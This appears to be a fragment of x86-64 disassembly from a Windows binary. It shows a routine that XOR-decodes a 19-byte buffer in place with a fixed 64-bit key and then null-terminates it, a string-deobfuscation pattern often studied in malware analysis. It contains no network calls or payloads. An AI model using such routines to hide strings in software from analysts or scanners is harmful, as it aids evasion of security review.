vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx], cx
lea rcx, [r10 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx + 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx + 2], cx
add rdx, 8
cmp rax, 0x10
jb 0x14006dd93
cmp rax, 0x13
jae 0x14006deac
movabs r9, 0x3f5dbd25a99f9f73
nop dword [rax]
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 0x13
jb 0x14006de90
mov byte [r8 + 0x13], 0
ret